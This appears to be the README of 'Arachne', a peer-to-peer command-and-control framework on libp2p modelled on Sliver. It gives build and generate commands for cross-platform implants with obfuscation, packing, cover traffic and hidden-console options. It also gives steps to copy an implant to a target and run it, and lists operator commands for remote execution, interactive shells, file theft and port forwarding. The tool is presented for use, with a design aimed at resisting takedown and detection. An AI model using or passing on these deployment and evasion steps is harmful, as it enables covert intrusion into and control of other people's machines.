A decentralized Command & Control framework built on libp2p (the peer-to-peer networking stack behind IPFS). No servers, no domains, no IPs to block — just cryptographic identities communicating over the global p2p network.

Inspired by Sliver, but redesigned for decentralized infrastructure.

Key Idea

Instead of running a C2 server on a VPS that can be taken down, Arachne uses GossipSub (PubSub) and DHT peer discovery over the IPFS peer-to-peer network. Your implant fleet and operator are all equal peers in the network — no central point of failure.

Features

Self-contained single binary — no source tree needed to generate implants
Beacon-mode implants that maintain presence via PubSub topics
DHT-based peer discovery — no hardcoded server IPs
Encrypted and signed messages (Ed25519 + NaCl box)
Interactive operator console (list, select, exec, ls, ps, cd, pwd, download, upload)
Interactive shell with PTY over direct libp2p stream (bash/zsh/sh)
Port forwarding through implant via direct libp2p stream
Cross-platform implants (Linux, macOS, Windows)
Protocol Buffers message format with per-message signature verification
Built-in hole punching and NAT traversal
Automatic Go installation if missing (generates implants anywhere)
Garble-based obfuscation (--obfuscate — strips names, strings, paths)
Cover traffic to mask beacon timing signatures
Persistent implant identity (embedded keypair per build)
Quiet mode (--quiet — daemonize on Linux/macOS, hide console on Windows)
Automatic implant disconnect detection and alerting

Project Structure

arachne-c2/
├── build.sh                # Build script (auto-installs Go if missing)
├── bin/                    # Compiled binaries
├── cmd/
│   └── arachne/            # Single entry point (serve + generate)
├── docs/                   # Design documentation
├── implant/                # Implant agent code
│   └── core/               # Agent runtime, command handlers, shell, portfwd
├── pkg/
│   ├── config/             # Shared config types
│   ├── cryptography/       # Ed25519 + NaCl key management
│   └── transport/          # libp2p node, messenger, PubSub helpers
├── protobuf/               # Protocol Buffers definitions
│   ├── arachnepb/          # C2 protocol messages
│   ├── commonpb/           # Common types
│   └── rpcpb/              # RPC service definitions
└── server/                 # Operator node (the "server")
    └── core/               # Operator logic, implant tracking, CLI, generate

Build

The operator binary is self-contained — embed the implant source at build time, then it builds implants anywhere:

./build.sh       # auto-installs Go + UPX if missing, embeds source, builds bin/arachne

Or manually:

go build -o bin/arachne ./cmd/arachne/

The built bin/arachne can be copied to any machine with Go installed (or no Go — it auto-installs). No source tree needed.

Quick Start

1. Run the operator

./bin/arachne

On first run, generates a keypair at ~/.arachne/operator.key and exports the public key to ~/.arachne/operator.pub.

2. Build an implant

From the operator console (generate) or standalone:

./bin/arachne generate --os linux --arch amd64 --output ./myimplant --upx

Flags: --os (linux, darwin, windows), --arch (amd64, arm64), --output, --pubkey, --upx (default true), --obfuscate, --quiet.

Use --obfuscate to strip function names, package paths, and literal strings via garble (auto-installed if missing). Combine with --upx for maximum hardening.

Each build generates a unique embedded keypair — the implant keeps the same PeerID across restarts.

3. Deploy and run the implant

Copy ./myimplant to the target machine and run:

./myimplant

The implant will discover the operator via DHT, register itself, and begin beaconing.

4. Use the operator console

From the operator prompt:

arachne> list
  0: user@hostname [linux/amd64] last=5s peer=12D3Koo...

arachne> select 0
arachne (user@hostname) > exec whoami

Available commands: list, select <n>, exec <cmd>, ls <path>, cd <path>, pwd, ps, shell, portfwd <port> <host:p>, download <path>, upload <path>, generate [flags], regenerate, help [command], exit.

Use help <command> or <command> --help for per-command details.

Available Commands

Command	Description
`list`	Show registered implants
`select <idx>`	Select implant by index
`ps`	List processes on selected implant
`ls <path>`	List directory
`cd <path>`	Change directory
`pwd`	Print working directory
`shell`	Interactive shell (direct libp2p stream)
`portfwd <port> <host:p>`	Forward local port through implant
`exec <cmd> [args]`	Execute command (with output)
`download <path>`	Download file from implant
`upload <src> <dst>`	Upload file to implant
`generate [flags]`	Build an implant for any OS/arch (auto-installs Go, garble). Flags: `--os`, `--arch`, `--output`, `--pubkey`, `--upx`, `--obfuscate`, `--quiet`
`regenerate`	Regenerate operator keypair (old implants orphaned)
`help [command]`	This help, or details for a specific command
`exit`	Quit

Security

All messages are signed with Ed25519 keys
Implants are built with the operator's public key embedded — they will only accept commands from that operator
Each implant has a unique embedded keypair (persistent identity across restarts)
Cover traffic masks beacon timing against network observers
Peer identity is verified on every message via envelope signatures
Relay nodes see only encrypted bytes — cannot read or modify traffic

License

GPLv3